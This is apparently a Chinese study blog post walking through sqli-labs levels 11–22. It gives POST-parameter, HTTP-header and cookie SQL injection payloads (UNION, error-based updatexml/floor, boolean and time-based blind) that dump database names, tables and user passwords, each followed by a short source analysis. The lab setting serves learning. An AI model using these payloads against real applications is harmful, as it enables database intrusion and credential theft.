前言:
SQL注入是入门web安全的基础,所以得仔细学习SQL注入。
从十一关开始便是POST请求,这次从第十一关来做
第11关
尝试万能密码' or 1=1#
,有回显,看来是单引号闭合,抓包进行操作,还是回显注入,不过是从GET
方式变成了POST
方式。
payload:1
2
3
4
5
6
7
8
9
10判断列数
uname=' order by 1,2,3#
查找数据库
uname=' union select 1,database()#
查表
uname=' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段
uname=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
爆值
uname=' union select 1,group_concat(username,0x3a,password) from users --+
源码分析
源码中的SQL语句直接是通关单引号闭合,并没有任何防护,所以会产生这样的问题
第12关
输入双引号发现报错信息
所以很容易就可以判断出闭合符号为")
,其他就没有任何变化了,和第十一关一样的姿势
这里就列一个payload:1
2爆字段
uname=") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
源码分析
分析源码便可发现这里只不过是使用$uname='"'.$uname'."'
,输入的参数闭合符号为"
,再拼接到$sql
语句中,发现$uname
前面还有一个(
,所以这里拼接的闭合符号为")
,但也仅限于此了,并没有其他防护。
第13关
测试'
,发现报错信息
通过这句话便可以判断出闭合符号为')
,第十三关和之前不同的就是没有回显,但是还有报错信息,所以可以进行报错注入,同样还是先判断列数等
爆数据库1
uname=') union select 1,count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+
爆数据表
1 | uname=') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;--+ |
爆字段值
1 | uname=') Union select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+ |
爆值1
uname=') Union select count(*),concat((select username from users limit 1,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;--+
源码分析
源码只是更改了注入成功时不输出不再回显,其他只是更改了')
作为闭合符号。
第14关
测试出闭合符号为"
,类型和第十三题一样,同为报错注入
payload:1
uname=1" union select 1,count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+
源码分析
与十三关大致相同,不多做解释了
第15关
当输入uname=1' or 1=1#
,发现页面显示成功
说明闭合符号为'
,这关没有报错信息也没有回显,就可以考虑布尔盲注和时间盲注了
布尔盲注
1 | uname=1' or ascii(substr((database()),1,1))>115#&passwd=123&submit=Submit |
通关测试便可以发现,数据库第一个字符为S
,利用这样的方法便可猜解出其他字符
时间盲注
1 | uname=1' or if((ascii(substr(database(),1,1)))>100,1,sleep(10))# |
通过利用if
语句和sleep
函数,来检测字符的ascll
范围,如果不符合要求,响应便会延迟10秒,以此来猜解出数据库名。
源码分析
将报错信息和回显信息都已注释掉,所以只能通过盲注或时间盲注来做
SQL语句还和之前的一样,并没有多大的变化,没有太大的防护
第16关
利用uname=1") or 1=1#
测试发现,显示成功,闭合符号为“)
,其他没什么变化,和第15关一样,同样的姿势,更改payload中的闭合符号即可,不多叙述
第17关
从第17关开始,发现页面发生一些变化,应该有新姿势要学习了
构造uname
没有结果,尝试passwd
,输入单引号时,发现出现报错信息,尝试Xpath报错,发现确实可以,那下面就简单多了,直接爆数据库、表等
爆数据库
1 | uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)# &submit=Submit |
爆数据表
1 | uname=admin&passwd=1' or updatexml(1,(select group_concat(table_name) from |
爆字段
1 | uname=admin&passwd=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)#&submit=Submit |
爆值
1 | uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#&submit=Submit |
前面的都没有什么问题,但到爆值时,发现
查了下百度,发现:
mysql中You can't specify target table for update in FROM clause
错误的意思是说,不能先select出同一表中的某些值,再update这个表(在同一语句中)
参考文章
需要再在外面加一层select即可解决
1 | uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from (select username |
源码分析
根本就没有提交uname,难怪没有反应
第18关
这次来一个IP地址,看来又可以学到新姿势了
猜想应该是head头注入,但是就是没有回显,无奈之下,用户名和密码下瞎输入uname=admin&passwd=123
,发现:
这。。。。。必须登陆成功才能显示出报错信息
有了报错信息,可以用第17关的Xpath报错
输入User-Agent: 1'
,发现报错信息
尝试User-Agent: 1' or 1=1#
,回显结果为:
利用User-Agent: 1' or '1'='1
,发现回显成功,闭合方式找到了,那payload就可以参照第17关的
爆出数据库
1 | User-Agent: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 |
下面的和第17关就大差不差了
源码分析
1 | function check_input($value) |
有一个检测输入的函数,简单审计一下代码
使用substr
函数限制了长度,如果输入的不是都是数字则mysql_real_escape_string()
函数转义 字符串中的特殊字符,将单引号给过滤所以我们按照常规的方法无法做出了,只能先登陆后通过User-Agent
进行注入
第19关
和第十八关类似,不过这次注入点存在于Referer
测试闭合符号还是Referer: 1' or '1'='1
,那应该还是可以利用Xpath报错
payload:
1 | Referer: 1' or updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 |
源码分析
其他防护代码和之前一样,只不过插入语句发生一点变化
第20关
之后的题应该都是先弱口令登入,才能查到一些信息,这关也需要先登陆,登陆之后便可以查看到
与COOKIE有关,抓包尝试注入
1 | Cookie: uname=admin' |
尝试出闭合符号1
Cookie: uname=admin' or '1'='1
还是利用Xpath报错
payload:
1 | Cookie: uname=1' or updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 |
其他姿势就跟上一关一样了,不再叙述了
源码分析
只设置了uname
的cookie,其他也就没什么可分析的
第21关
抓包发现cookie中uname=YWRtaW4
,解码为admin
提示还是cookie,那就还利用上一关的payload,base64加密传入即可
第22关
单引号变成双引号即可,还是一样的payload,base64加密即可
payload:
1 | Cookie: uname=MSIgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSBhbmQgIjEiPSIx |
总结
这次就先打到这里,又学习到许多新的绕过姿势,继续学习!